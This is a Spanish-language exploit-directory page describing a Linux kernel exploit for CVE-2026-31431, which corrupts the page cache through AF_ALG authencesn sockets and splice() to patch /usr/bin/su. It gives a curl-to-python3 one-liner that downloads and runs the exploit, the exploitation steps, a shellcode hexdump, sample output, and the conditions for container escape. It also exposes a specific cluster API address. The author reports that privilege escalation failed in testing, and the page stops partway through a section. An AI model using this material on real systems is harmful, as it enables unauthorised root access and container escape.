Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-31431 — Exploit para el kernel de Linux CVE-2026-31431 que provoca corrupción de la caché de páginas mediante la manipulación de authencesn AEAD, dirigido a la escalada de privilegios en contenedores y entornos OpenShift. | Kitploit
Herramientas/GitHubGitHub/seanrickerd/cve-2026-31431
Seguridad de Infraestructura en la NubeEscalada de PrivilegiosSeguridad de ContenedoresFrameworks de ExploitsAnálisis de VulnerabilidadesExplotaciónExplotación de Binarios
GitHubseanrickerd/cve-2026-31431

cve-2026-31431

Exploit para el kernel de Linux CVE-2026-31431 que provoca corrupción de la caché de páginas mediante la manipulación de authencesn AEAD, dirigido a la escalada de privilegios en contenedores y entornos OpenShift.

Ver Repositorio
12518hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-31431 "Copy Fail" - Vulnerabilidad de Corrupción de Caché de Páginas

Corrupción de la caché de páginas del kernel de Linux mediante manipulación de AEAD authencesn.

⚠️ IMPORTANTE: Actualización del Estado de Explotación (1 de mayo de 2026)

Después de pruebas exhaustivas en múltiples clústeres OpenShift 4.20.16 con kernels RHEL 9.6:

  • ✅ Corrupción de Caché de Páginas: CONFIRMADA - Shellcode de 160 bytes inyectado con éxito
  • ✅ Vulnerabilidad del Kernel: EXPLOTABLE desde contenedores sin privilegios (cero capacidades)
  • ❌ Escalada de Privilegios: NO LOGRADA - El UID permanece sin cambios a pesar de la caché corrupta
  • ❌ Ejecución de Código: NO OBSERVADA - Las páginas modificadas son visibles en lecturas pero no se ejecutan
  • ✅ SCC Restricted-v2: EFECTIVO - Previene el escape del contenedor, limita el radio de impacto

Consulte la sección Resultados de Pruebas Exhaustivas para obtener detalles completos.


Descripción General

CVE-2026-31431 es una vulnerabilidad del kernel de Linux en la implementación criptográfica AEAD authencesn que permite a procesos sin privilegios corromper la caché de páginas de archivos legibles mediante sockets AF_ALG y manipulación de la llamada al sistema splice().

Las pruebas muestran: La corrupción de la caché de páginas funciona de manera confiable, pero la escalada de privilegios NO ocurre en kernels RHEL 9.6 en nuestros entornos de prueba.

Puntuación CVSS: 7.8 (Alta)
Afectados: Versiones del kernel de Linux con soporte authencesn (2017-2026)
Divulgación Pública: 29 de abril de 2026

Características

  • Compatible con Python 3.9+: Incluye envoltorio de la llamada al sistema splice() mediante ctypes
  • Portátil: Funciona en cualquier sistema Linux con kernel vulnerable
  • Confiable: No requiere condiciones de carrera
  • Limpio: Shellcode de 160 bytes, explotación determinista

Requisitos

  • Kernel de Linux con implementación authencesn vulnerable (parche anterior a abril de 2026)
  • Python 3.9+
  • Acceso de usuario sin privilegios
  • Binario setuid legible (predeterminado: /usr/bin/su)

Uso

Uso Básico```bash

curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su

### Desde Archivo Local```bash
python3 exploit.py
su

Comportamiento real del exploit (según las pruebas)

Lo que SÍ ocurrirá:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation

[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!

[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)

**Verificación de caché de página (confirma corrupción):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

Lo que NO sucederá (según las pruebas):```bash

Executing the backdoored su

su

Password: [press Enter]

Check UID

id -u

Result: 1000810000 (UNCHANGED - still unprivileged user)

NOT this (does NOT occur in testing):

# whoami

root ← This does NOT happen

**Conclusión:** La corrupción de la caché de páginas tiene éxito, pero la escalada de privilegios falla.

## Detalles Técnicos

### Vulnerabilidad

La implementación de `authencesn` (Cifrado Autenticado con Datos Asociados - Número de Secuencia Extendido) del kernel de Linux tiene una falla en su manejo de operaciones in-place. Al procesar operaciones AEAD enviadas a través de un socket AF_ALG, una página de la caché de páginas puede terminar en la lista de dispersión (scatterlist) de destino escribible del kernel.

### Técnica de Explotación

1. **Crear socket AF_ALG** con `authencesn(hmac(sha256),cbc(aes))`
2. **Configurar parámetros AEAD** (clave, authsize)
3. **Abrir binario setuid objetivo** (p. ej., `/usr/bin/su`)
4. **Usar splice()** para llevar el binario a la caché de páginas
5. **Desencadenar operación AEAD in-place** que causa escritura en la caché de páginas
6. **Escribir shellcode** 4 bytes a la vez
7. **Ejecutar binario modificado** para obtener root

### Shellcode

El exploit usa un shellcode de 160 bytes que parchea `/usr/bin/su` para:
- Omitir la autenticación de contraseña
- Otorgar acceso a una shell root
- Mantener la funcionalidad normal para usuarios sin privilegios

## Compatibilidad con Python 3.9

Python 3.9 y versiones anteriores no tienen `os.splice()` en la biblioteca estándar. Este exploit incluye una implementación basada en ctypes:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

Esto hace que el exploit funcione en:

  • ✅ Python 3.9 (RHEL 9, Ubuntu 20.04, etc.)
  • ✅ Python 3.10+
  • ✅ Cualquier Python con soporte de ctypes

Resultados Integrales de Pruebas

Entorno de Prueba 1: Clúster OpenShift 4.20.16 (Primera Prueba)

Configuración del Nodo:

  • Kernel: 5.14.0-570.96.1.el9_6.x86_64 (RHEL CoreOS 9.6)
  • OpenShift: 4.20.16
  • SCC: restricted-v2 (el más restrictivo)
  • UID: 1000830000 (espacio de nombres de usuario)
  • Capacidades: 0x0000000000000000 (CERO)

Resultados de las Pruebas:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)

### Entorno de Prueba 2: Clúster OpenShift Nuevo (Prueba de Verificación)

**Clúster:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Configuración del Nodo:**
- Kernel: 5.14.0-570.96.1.el9_6.x86_64 (idéntico a la Prueba 1)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (verificado)
- UID: 1000810000 (espacio de nombres de usuario)
- Capacidades: 0x0000000000000000 (CERO)

**Resultados de la Prueba:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

Consistencia: Resultados 100% reproducibles en clústeres independientes

Pruebas de Escape de Contenedor

Escenario A: Con volumen hostPath (Escape de contenedor posible)```yaml volumes:

  • name: host-usr hostPath: path: /usr
Resultado: ✅ **Escape del contenedor** - modifica la caché de páginas del host (Dispositivo 33, Inodo 4288)

**Escenario B: SCC restringido-v2 (sin hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

Resultado: ❌ Sin escape de contenedor - solo afecta al overlay del contenedor (inodo separado)

Hallazgo crítico: el acceso a hostPath (no las capacidades) es el factor determinante para el escape de contenedor.

Por qué falla la escalada de privilegios

Explicaciones posibles (requiere investigación adicional):

Descargar herramienta